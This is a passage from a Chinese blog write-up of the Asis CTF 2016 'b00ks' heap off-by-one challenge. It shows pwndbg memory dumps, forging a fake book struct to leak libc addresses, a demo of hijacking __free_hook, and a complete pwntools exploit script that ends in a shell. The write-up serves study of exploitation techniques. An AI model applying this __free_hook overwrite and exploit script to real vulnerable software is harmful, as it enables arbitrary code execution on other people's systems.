<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">pwndbg&gt; x/10gx 0x555555756040</span><br><span class="line">0x555555756040:	0x6161616161616161	0x6161616161616161</span><br><span class="line">0x555555756050:	0x6161616161616161	0x6161616161616161</span><br><span class="line">0x555555756060:	0x0000555555757700	0x0000555555776090</span><br><span class="line">0x555555756070:	0x0000000000000000	0x0000000000000000</span><br><span class="line">0x555555756080:	0x0000000000000000	0x0000000000000000</span><br></pre></td></tr></table></figure>

<p>此时程序就会去0x0000555555757700的位置寻找结构体，</p>
<p><img src="/2021/03/21/%E5%A0%86%E4%B8%AD%E7%9A%84off-by-one/1616265201903.png"></p>
<h4 id="4-伪造结构体并泄露book2-name-book2-desc"><a href="#4-伪造结构体并泄露book2-name-book2-desc" class="headerlink" title="4.伪造结构体并泄露book2_name,book2_desc"></a>4.伪造结构体并泄露book2_name,book2_desc</h4><p>下面解释为什么book2的书名大小和书名类别大小设置为135168：</p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line">pwndbg&gt; vmmap</span><br><span class="line">LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA</span><br><span class="line">    0x555555554000     0x555555556000 r-xp     2000 0      /home/yutao/Desktop/b00ks</span><br><span class="line">    0x555555755000     0x555555756000 r--p     1000 1000   /home/yutao/Desktop/b00ks</span><br><span class="line">    0x555555756000     0x555555757000 rw-p     1000 2000   /home/yutao/Desktop/b00ks</span><br><span class="line">    0x555555757000     0x555555778000 rw-p    21000 0      [heap]</span><br><span class="line">    0x7ffff79e2000     0x7ffff7bc9000 r-xp   1e7000 0      /lib/x86_64-linux-gnu/libc-2.27.so</span><br><span class="line">    0x7ffff7bc9000     0x7ffff7dc9000 ---p   200000 1e7000 /lib/x86_64-linux-gnu/libc-2.27.so</span><br><span class="line">    0x7ffff7dc9000     0x7ffff7dcd000 r--p     4000 1e7000 /lib/x86_64-linux-gnu/libc-2.27.so</span><br><span class="line">    0x7ffff7dcd000     0x7ffff7dcf000 rw-p     2000 1eb000 /lib/x86_64-linux-gnu/libc-2.27.so</span><br><span class="line">    0x7ffff7dcf000     0x7ffff7dd3000 rw-p     4000 0      </span><br><span class="line">    0x7ffff7dd3000     0x7ffff7dfc000 r-xp    29000 0      /lib/x86_64-linux-gnu/ld-2.27.so</span><br><span class="line">    0x7ffff7f9c000     0x7ffff7fe2000 rw-p    46000 0      </span><br><span class="line">    0x7ffff7ff8000     0x7ffff7ffb000 r--p     3000 0      [vvar]</span><br><span class="line">    0x7ffff7ffb000     0x7ffff7ffc000 r-xp     1000 0      [vdso]</span><br><span class="line">    0x7ffff7ffc000     0x7ffff7ffd000 r--p     1000 29000  /lib/x86_64-linux-gnu/ld-2.27.so</span><br><span class="line">    0x7ffff7ffd000     0x7ffff7ffe000 rw-p     1000 2a000  /lib/x86_64-linux-gnu/ld-2.27.so</span><br><span class="line">    0x7ffff7ffe000     0x7ffff7fff000 rw-p     1000 0      </span><br><span class="line">    0x7ffffffde000     0x7ffffffff000 rw-p    21000 0      [stack]</span><br><span class="line">0xffffffffff600000 0xffffffffff601000 --xp     1000 0      [vsyscall]</span><br></pre></td></tr></table></figure>

<blockquote>
<p>   0x7ffff7f9c000     0x7ffff7fe2000 rw-p    46000 0<br>  为mmap扩展的堆空间</p>
</blockquote>
<p>根据网上其他wp说法，只有接近或者超过top_chunk的size大小的时候才会使用mmap进行扩展</p>
<p>如果vmmap后有mmap，就可以判断输入多大的数值了。<strong>如果像上图一样并没有mmap的标识，可以查看是否存在紫色不断变换空间大小的data段。</strong></p>
<p>由于关闭了aslr，所以libc.so的基地址就不会发生变化了，因为book2的结构体成员的地址所属为mmap申请的空间，由于mmap地址不变、libc.so基地址不变，就会导致book2成员变量中的地址所在位置距离libc.so的偏移不变。那么如果可以通过泄露book2结构体成员变量中的地址的话，减去这个偏移就会得到libc.so的基地址。一旦得到了libc.so的基地址，就可以利用pwntools找到一些可以利用的函数了。</p>
<p>说了这么多，要想达到上面的效果，就要从部署伪造的结构体开始。首先是fake_book_id，如果是替换book1，那么这个fake_book1的id就必须为1，这样才能按照第一个book的形式替代原有的book1.接下来是fake_book1_name，这里我们将指向book2_name的地址，fake_book1_desc指向book2_desc的地址。这样一来我们再一次执行打印功能的时候就会将book2_name和book2_desc的地址打印出来了。</p>
<p><img src="/2021/03/21/%E5%A0%86%E4%B8%AD%E7%9A%84off-by-one/1616265224978.png"></p>
<p>之前的：</p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">pwndbg&gt; x/32gx 0x0000555555757760</span><br><span class="line">0x555555757760:	0x0000000000000001	0x0000555555757670</span><br><span class="line">0x555555757770:	0x0000555555757690	0x00000000000000c8</span><br><span class="line">0x555555757780:	0x0000000000000000	0x0000000000000031</span><br><span class="line">0x555555757790:	0x0000000000000002	0x00007ffff7fbe010</span><br><span class="line">0x5555557577a0:	0x00007ffff7f9c010	0x0000000000021000</span><br><span class="line">0x5555557577b0:	0x0000000000000000	0x0000000000020851</span><br></pre></td></tr></table></figure>

<p>可以看到book2_name在0x00007ffff7fbe010的位置，book2_desc在0x00007ffff7f9c010的位置。</p>
<p>接下来查看伪造结构体前内存地址的内容：</p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line">pwndbg&gt; x/32gx 0x0000555555757700</span><br><span class="line">0x555555757700:	0x0000000000000000	0x0000000000000000</span><br><span class="line">0x555555757710:	0x0000000000000000	0x0000000000000000</span><br><span class="line">0x555555757720:	0x0000000000000000	0x0000000000000000</span><br><span class="line">0x555555757730:	0x0000000000000000	0x0000000000000000</span><br><span class="line">0x555555757740:	0x0000000000000000	0x0000000000000000</span><br><span class="line">0x555555757750:	0x0000000000000000	0x0000000000000031</span><br><span class="line">0x555555757760:	0x0000000000000001	0x0000555555757670#book1</span><br><span class="line">0x555555757770:	0x0000555555757690	0x00000000000000c8</span><br><span class="line">0x555555757780:	0x0000000000000000	0x0000000000000031</span><br><span class="line">0x555555757790:	0x0000000000000002	0x00007ffff7fbe010#book2</span><br><span class="line">0x5555557577a0:	0x00007ffff7f9c010	0x0000000000021000</span><br><span class="line">0x5555557577b0:	0x0000000000000000	0x0000000000020851</span><br><span class="line">0x5555557577c0:	0x0000000000000000	0x0000000000000000</span><br><span class="line">0x5555557577d0:	0x0000000000000000	0x0000000000000000</span><br><span class="line">0x5555557577e0:	0x0000000000000000	0x0000000000000000</span><br><span class="line">0x5555557577f0:	0x0000000000000000	0x0000000000000000</span><br></pre></td></tr></table></figure>

<p>可以看到，内容全为空，接下来进行伪造，</p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">log.info(&quot;Prepare to construct a fake book...&quot;)</span><br><span class="line">payload = &#x27;a&#x27; * 0x70 + p64(1) + p64(book2_addr + 8) + p64(book2_addr + 8) + p64(0xffff)</span><br><span class="line">#book2_addr=0x555555757790</span><br><span class="line">edit(1, payload)</span><br><span class="line">#gdb.attach(p)</span><br></pre></td></tr></table></figure>

<p>其中的<code>&#39;a&#39; * 0x70</code>起填充作用，将地址填充到目标位置，可以多次调试来找出。</p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line">pwndbg&gt; x/40gx 0x0000555555758280</span><br><span class="line">0x555555758280:	0x0000000000000000	0x00000000000000d1</span><br><span class="line">0x555555758290:	0x6161616161616161	0x6161616161616161#填充的起始</span><br><span class="line">0x5555557582a0:	0x6161616161616161	0x6161616161616161</span><br><span class="line">0x5555557582b0:	0x6161616161616161	0x6161616161616161</span><br><span class="line">0x5555557582c0:	0x6161616161616161	0x6161616161616161</span><br><span class="line">0x5555557582d0:	0x6161616161616161	0x6161616161616161</span><br><span class="line">0x5555557582e0:	0x6161616161616161	0x6161616161616161</span><br><span class="line">0x5555557582f0:	0x6161616161616161	0x6161616161616161</span><br><span class="line">0x555555758300:	0x0000000000000001	0x0000555555758398 #fake_struct</span><br><span class="line">0x555555758310:	0x0000555555758398	0x000000000000ffff #fake_struct</span><br><span class="line">0x555555758320:	0x0000000000000000	0x0000000000000000</span><br><span class="line">0x555555758330:	0x0000000000000000	0x0000000000000000</span><br><span class="line">0x555555758340:	0x0000000000000000	0x0000000000000000</span><br><span class="line">0x555555758350:	0x0000000000000000	0x0000000000000031</span><br><span class="line">0x555555758360:	0x0000000000000001	0x0000555555758270 &lt;= #book1</span><br><span class="line">0x555555758370:	0x0000555555758290	0x00000000000000c8 &lt;= #book1</span><br><span class="line">0x555555758380:	0x0000000000000000	0x0000000000000031 &lt;= #book1</span><br><span class="line">0x555555758390:	0x0000000000000002	0x00007ffff7fbe010 &lt;= #book2</span><br><span class="line">0x5555557583a0:	0x00007ffff7f9c010	0x0000000000021000 &lt;= #book2</span><br><span class="line">0x5555557583b0:	0x0000000000000000	0x000000000001fc51 &lt;= #book2</span><br></pre></td></tr></table></figure>

<h4 id="5-计算libc基地址，freehook、system、-x2F-bin-x2F-sh地址"><a href="#5-计算libc基地址，freehook、system、-x2F-bin-x2F-sh地址" class="headerlink" title="5.计算libc基地址，freehook、system、&#x2F;bin&#x2F;sh地址"></a>5.计算libc基地址，freehook、system、&#x2F;bin&#x2F;sh地址</h4><p>得到了book2_name2的地址就可以计算libc的基地址了，<strong>上面book2_name的内容在mmap扩展的内存空间里。</strong></p>
<p>payload：</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">p.sendline(<span class="string">&quot;4&quot;</span>)</span><br><span class="line">p.recvuntil(<span class="string">&quot;Name: &quot;</span>)</span><br><span class="line">mmap_addr = u64(p.recv(<span class="number">6</span>) + <span class="string">&#x27;\x00\x00&#x27;</span>)</span><br></pre></td></tr></table></figure>

<p>通过调试得到libc和mmap分配的堆块之间的偏移是固定的，接下来可以使用book2_name_addr或者book2_desc_addr任意一个计算偏移，下面使用book2_name_addr计算偏移：</p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">book2_name - libc_addr = 0x00007ffff7fbe010 -  0x7ffff79e2000 = 0x5dc010</span><br></pre></td></tr></table></figure>

<p>或者直接这样：</p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">libc_addr = 0x7ffff79e2000</span><br></pre></td></tr></table></figure>

<p>在之后：</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">free_hook = libc.symbols[<span class="string">&quot;__free_hook&quot;</span>] + libc_addr</span><br><span class="line">system = libc.symbols[<span class="string">&quot;system&quot;</span>] + libc_addr</span><br><span class="line">binsh = libc.search(<span class="string">&quot;/bin/sh&quot;</span>).<span class="built_in">next</span>() + libc_addr</span><br><span class="line"></span><br><span class="line">payload2 = p64(binsh) + p64(free_hook)</span><br><span class="line">edit(<span class="number">1</span>, payload2)</span><br><span class="line">p.recvuntil(<span class="string">&quot;&gt; &quot;</span>)</span><br><span class="line">payload3 = p64(system)</span><br><span class="line">edit(<span class="number">2</span>,payload3)</span><br><span class="line">p.recvuntil(<span class="string">&quot;&gt; &quot;</span>)</span><br><span class="line">delete(<span class="number">2</span>)</span><br></pre></td></tr></table></figure>

<p>payload2通过修改book1_desc来修改book2_desc指向的地址</p>
<p> 在这段代码中，首先是修改<code>book1_description</code>，而此时的book1是之前伪造的book2，也就是说这里的<code>book1_description_ptr</code>正好是指向<code>book2_struct</code>中的<code>book2_name_ptr</code>。通过这个修改，将<code>book2_name_ptr</code>改为了binsh字符串的地址，将<code>book2_description_ptr</code>改为了<code>free_hook</code>指针的地址。然后通过修改<code>book2_description_ptr</code>，将<code>free_hook</code>中的内容改为了<code>system()</code>的地址。之后在删除book2时，会首先调用free()释放<code>book2_name_ptr</code>指针指向的地址空间，原本的<code>free(book2_name_ptr)</code> 最终变为 <code>system(binsh_addr)</code>。</p>
<p>**什么是__free_hook?**举个栗子：</p>
<figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="meta-keyword">include</span><span class="meta-string">&lt;stdio.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span><span class="meta-string">&lt;stdlib.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span><span class="meta-string">&lt;string.h&gt;</span></span></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">extern</span> <span class="title">void</span> <span class="params">(*__free_hook)</span> <span class="params">(<span class="keyword">void</span> *__ptr,<span class="keyword">const</span> <span class="keyword">void</span> *)</span></span>;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">main</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    <span class="keyword">char</span> *str = <span class="built_in">malloc</span>(<span class="number">160</span>);</span><br><span class="line">    <span class="built_in">strcpy</span>(str,<span class="string">&quot;/bin/sh&quot;</span>);</span><br><span class="line">    </span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;__free_hook: 0x%016X\n&quot;</span>,__free_hook);</span><br><span class="line">    <span class="comment">// 劫持__free_hook</span></span><br><span class="line">    __free_hook = system;</span><br><span class="line">    <span class="built_in">free</span>(str);</span><br><span class="line">    <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="comment">//运行./a.out 就直接运行了system(&quot;/bin/sh&quot;)</span></span><br></pre></td></tr></table></figure>

<p><strong>EXP：</strong></p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line">context(log_level=<span class="string">&#x27;DEBUG&#x27;</span>)</span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">create</span>(<span class="params">name_len, name, desc_len, desc</span>):</span></span><br><span class="line">    p.sendline(<span class="string">&quot;1&quot;</span>)</span><br><span class="line">    p.recvuntil(<span class="string">&quot;Enter book name size: &quot;</span>)</span><br><span class="line">    p.sendline(<span class="built_in">str</span>(name_len))</span><br><span class="line">    p.recvuntil(<span class="string">&quot;Enter book name (Max 32 chars): &quot;</span>)</span><br><span class="line">    p.sendline(name)</span><br><span class="line">    p.recvuntil(<span class="string">&quot;Enter book description size: &quot;</span>)</span><br><span class="line">    p.sendline(<span class="built_in">str</span>(desc_len))</span><br><span class="line">    p.recvuntil(<span class="string">&quot;Enter book description: &quot;</span>)</span><br><span class="line">    p.sendline(desc)</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">delete</span>(<span class="params">index</span>):</span></span><br><span class="line">    p.sendline(<span class="string">&quot;2&quot;</span>)</span><br><span class="line">    p.recvuntil(<span class="string">&quot;Enter the book id you want to delete: &quot;</span>)</span><br><span class="line">    p.sendline(<span class="built_in">str</span>(index))</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">edit</span>(<span class="params">index, desc</span>):</span></span><br><span class="line">    p.sendline(<span class="string">&quot;3&quot;</span>)</span><br><span class="line">    p.recvuntil(<span class="string">&quot;Enter the book id you want to edit: &quot;</span>)</span><br><span class="line">    p.sendline(<span class="built_in">str</span>(index))</span><br><span class="line">    p.recvuntil(<span class="string">&quot;Enter new book description: &quot;</span>)</span><br><span class="line">    p.sendline(desc)</span><br><span class="line"></span><br><span class="line">libc = ELF(<span class="string">&quot;/lib/x86_64-linux-gnu/libc.so.6&quot;</span>)</span><br><span class="line">p = process(<span class="string">&quot;./b00ks&quot;</span>)</span><br><span class="line">p.recvuntil(<span class="string">&quot;Enter author name: &quot;</span>)</span><br><span class="line">p.sendline(<span class="string">&quot;a&quot;</span> * <span class="number">32</span>)</span><br><span class="line">p.recvuntil(<span class="string">&quot;&gt; &quot;</span>)</span><br><span class="line">create(<span class="number">10</span>, <span class="string">&quot;book1_name&quot;</span>, <span class="number">200</span>, <span class="string">&quot;book1_desc&quot;</span>)</span><br><span class="line">create(<span class="number">0x21000</span>, <span class="string">&quot;book2_name&quot;</span>, <span class="number">0x21000</span>, <span class="string">&quot;book2_desc&quot;</span>)</span><br><span class="line">p.recvuntil(<span class="string">&quot;&gt; &quot;</span>)</span><br><span class="line">p.sendline(<span class="string">&quot;4&quot;</span>)</span><br><span class="line">p.recvuntil(<span class="string">&quot;Author: &quot;</span>)</span><br><span class="line">p.recv(<span class="number">32</span>)</span><br><span class="line"></span><br><span class="line">book1_addr = u64(p.recv(<span class="number">6</span>) + <span class="string">&#x27;\x00\x00&#x27;</span>)</span><br><span class="line">book2_addr = book1_addr + <span class="number">0x30</span></span><br><span class="line"></span><br><span class="line">p.recvuntil(<span class="string">&quot;&gt; &quot;</span>)</span><br><span class="line"></span><br><span class="line">payload = <span class="string">&#x27;a&#x27;</span> * <span class="number">0x70</span> + p64(<span class="number">1</span>) + p64(book2_addr + <span class="number">8</span>) + p64(book2_addr + <span class="number">8</span>) + p64(<span class="number">0xffff</span>)</span><br><span class="line"></span><br><span class="line">edit(<span class="number">1</span>,payload)</span><br><span class="line"><span class="comment">#gdb.attach(p)</span></span><br><span class="line">p.recvuntil(<span class="string">&quot;&gt; &quot;</span>)</span><br><span class="line">p.sendline(<span class="string">&quot;5&quot;</span>)</span><br><span class="line">p.recvuntil(<span class="string">&quot;Enter author name: &quot;</span>)</span><br><span class="line">p.sendline(<span class="string">&#x27;a&#x27;</span> * <span class="number">32</span>)</span><br><span class="line">p.recvuntil(<span class="string">&quot;&gt; &quot;</span>)</span><br><span class="line">p.sendline(<span class="string">&quot;4&quot;</span>)</span><br><span class="line">p.recvuntil(<span class="string">&quot;Name: &quot;</span>)</span><br><span class="line"></span><br><span class="line">mmap_addr = u64(p.recv(<span class="number">6</span>) + <span class="string">&#x27;\x00\x00&#x27;</span>)</span><br><span class="line"></span><br><span class="line">libc_addr = <span class="number">0x7ffff79e2000</span>   <span class="comment"># Change it if doesn&#x27;t work!</span></span><br><span class="line"></span><br><span class="line">free_hook = libc.symbols[<span class="string">&quot;__free_hook&quot;</span>] + libc_addr</span><br><span class="line">system = libc.symbols[<span class="string">&quot;system&quot;</span>] + libc_addr</span><br><span class="line">binsh = libc.search(<span class="string">&quot;/bin/sh&quot;</span>).<span class="built_in">next</span>() + libc_addr</span><br><span class="line"></span><br><span class="line">payload2 = p64(binsh) + p64(free_hook)</span><br><span class="line">edit(<span class="number">1</span>, payload2)</span><br><span class="line"></span><br><span class="line">p.recvuntil(<span class="string">&quot;&gt; &quot;</span>)</span><br><span class="line">payload3 = p64(system)</span><br><span class="line">edit(<span class="number">2</span>,payload3)</span><br><span class="line">p.recvuntil(<span class="string">&quot;&gt; &quot;</span>)</span><br><span class="line">delete(<span class="number">2</span>)</span><br><span class="line">p.interactive()</span><br></pre></td></tr></table></figure>


                                                                    </div>
                                                                    
                                                                        <div class="prev-or-next">
                                                                            <div class="post-foot-next">
                                                                                
                                                                                    <a href="/2021/03/14/%E7%AE%80%E5%8D%95%E5%A0%86%E6%BA%A2%E5%87%BA%E4%BB%8B%E7%BB%8D/" target="_self">
                                                                                        <i class="iconfont icon-chevronleft"></i>
                                                                                        <span>Prev</span>
                                                                                    </a>
                                                                                    
                                                                            </div>
                                                                            <div class="post-attach">
                                                                                <!-- <span class="post-pubtime">
              <i class="iconfont icon-updatetime" title="Update time"></i>
              2021-03-21
            </span> -->

                                                                                
                                                                                            <span class="post-categories">
          <!-- <i class="iconfont icon-bookmark" title="Categories"></i> -->
          
          <!-- <span class="span--category">
            <a href="/categories/Technology/" title="Technology">
              <b>#</b> Technology
            </a>
          </span> -->
                                                                                            
                                                                                                </span>
                                                                                                
                                                                                    <span class="post-tags">
          <!-- <i class="iconfont icon-tags" title="Tags"></i> -->
          
          <!-- <span class="span--tag">
            <a href="/tags/PWN/" title="PWN">
              <b>#</b> PWN
            </a>
          </span> -->
                                                                                    
                                                                                        </span>
                                                                                        
                                                                            </div>
                                                                            <div class="post-foot-prev">
                                                                                
                                                                                    <a href="/2021/03/22/chunk-extend-and-overlapping/" target="_self">
                                                                                        <span>Next</span>
                                                                                        <i class="iconfont icon-chevronright"></i>
                                                                                    </a>
                                                                                    
                                                                            </div>
                                                                        </div>
                                                                        
                                                                </div>
                                                                
  <div id="btn-catalog" class="btn-catalog">
    <i class="iconfont icon-catalog"></i>
  </div>
  <div class="post-catalog hidden" id="catalog">
    <div class="title">Contents</div>
    <div class="catalog-content">
      
        <ol class="toc"><li class="toc-item toc-level-2"><a class="toc-link" href="#%E4%BB%8B%E7%BB%8D"><span class="toc-text">介绍</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E6%BC%8F%E6%B4%9E%E5%8E%9F%E7%90%86"><span class="toc-text">漏洞原理</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E5%88%A9%E7%94%A8%E6%80%9D%E8%B7%AF"><span class="toc-text">利用思路</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E7%A4%BA%E4%BE%8B"><span class="toc-text">示例</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E7%A4%BA%E4%BE%8B1"><span class="toc-text">示例1</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E7%A4%BA%E4%BE%8B2"><span class="toc-text">示例2</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E5%AE%9E%E4%BE%8B1%EF%BC%9AAsis-CTF-2016-b00ks"><span class="toc-text">实例1：Asis CTF 2016 b00ks</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#Create"><span class="toc-text">Create</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E6%BC%8F%E6%B4%9E"><span class="toc-text">漏洞</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E5%8A%A8%E6%80%81%E8%B0%83%E8%AF%95"><span class="toc-text">动态调试</span></a><ol class="toc-child"><li class="toc-item toc-level-4"><a class="toc-link" href="#1-%E5%AE%9A%E4%BD%8D%E8%BE%93%E5%85%A5%E7%9A%84%E4%BD%9C%E8%80%85%E5%90%8D%E7%9A%84%E5%9C%B0%E5%9D%80"><span class="toc-text">1.定位输入的作者名的地址</span></a></li><li class="toc-item toc-level-4"><a class="toc-link" href="#2-%E6%B3%84%E9%9C%B2%E5%9B%BE%E4%B9%A6%E7%BB%93%E6%9E%84%E4%BD%93%E6%8C%87%E9%92%88"><span class="toc-text">2.泄露图书结构体指针</span></a></li><li class="toc-item toc-level-4"><a class="toc-link" href="#3-%E8%A6%86%E7%9B%96%E5%8E%9F%E6%9C%89%E7%9A%84%E7%BB%93%E6%9E%84%E4%BD%93%E6%8C%87%E9%92%88"><span class="toc-text">3.覆盖原有的结构体指针</span></a></li><li class="toc-item toc-level-4"><a class="toc-link" href="#4-%E4%BC%AA%E9%80%A0%E7%BB%93%E6%9E%84%E4%BD%93%E5%B9%B6%E6%B3%84%E9%9C%B2book2-name-book2-desc"><span class="toc-text">4.伪造结构体并泄露book2_name,book2_desc</span></a></li><li class="toc-item toc-level-4"><a class="toc-link" href="#5-%E8%AE%A1%E7%AE%97libc%E5%9F%BA%E5%9C%B0%E5%9D%80%EF%BC%8Cfreehook%E3%80%81system%E3%80%81-x2F-bin-x2F-sh%E5%9C%B0%E5%9D%80"><span class="toc-text">5.计算libc基地址，freehook、system、&#x2F;bin&#x2F;sh地址</span></a></li></ol></li></ol></li></ol>
      
    </div>
  </div>

  
<script src="/js/catalog.js"></script>




                                                                    
                                                                        <div class="comments-container">
                                                                            







                                                                        </div>
                                                                        
                                                            </div>
                                                            
        
<div class="footer">
  <div class="social">
    <ul>
      
        <li>
          <a title="github" target="_blank" rel="noopener" href="https://github.com/Ghostasky">
            <i class="iconfont icon-github"></i>
          </a>
        </li>
      
        <li>
          <a title="twitter" target="_blank" rel="noopener" href="https://twitter.com/ghostasky">
            <i class="iconfont icon-twitter"></i>
          </a>
        </li>
      
    </ul>
  </div>
  
    
    <div class="footer-more">
      
        <a target="_blank" rel="noopener" href="https://github.com/Ghostasky">怕什么真理无穷，进一寸有进一寸的欢喜。</a>
        
    </div>
  
    
    <div class="footer-more">
      
        <a target="_blank" rel="noopener" href="https://github.com/zchengsite/hexo-theme-oranges">Copyright © 2022 Oranges</a>
        
    </div>
  
    
    <div class="footer-more">
      
        <a target="_blank" rel="noopener" href="https://github.com/zchengsite/hexo-theme-oranges">Theme by Oranges | Powered by Hexo</a>
        
    </div>
  
</div>

      </div>

      <div class="tools-bar">
        <div class="back-to-top tools-bar-item hidden">
  <a href="javascript: void(0)">
    <i class="iconfont icon-chevronup"></i>
  </a>
</div>


<script src="/js/backtotop.js"></script>



        
  <div class="search-icon tools-bar-item" id="search-icon">
    <a href="javascript: void(0)">
      <i class="iconfont icon-search"></i>
    </a>
  </div>

  <div class="search-overlay hidden">
    <div class="search-content" tabindex="0">
      <div class="search-title">
        <span class="search-icon-input">
          <a href="javascript: void(0)">
            <i class="iconfont icon-search"></i>
          </a>
        </span>
        
          <input type="text" class="search-input" id="search-input" placeholder="Search...">
        
        <span class="search-close-icon" id="search-close-icon">
          <a href="javascript: void(0)">
            <i class="iconfont icon-close"></i>
          </a>
        </span>
      </div>
      <div class="search-result" id="search-result"></div>
    </div>
  </div>

  <script type="text/javascript">
    var inputArea = document.querySelector("#search-input")
    var searchOverlayArea = document.querySelector(".search-overlay")

    inputArea.onclick = function() {
      getSearchFile()
      this.onclick = null
    }

    inputArea.onkeydown = function() {
      if(event.keyCode == 13)
        return false
    }

    function openOrHideSearchContent() {
      let isHidden = searchOverlayArea.classList.contains('hidden')
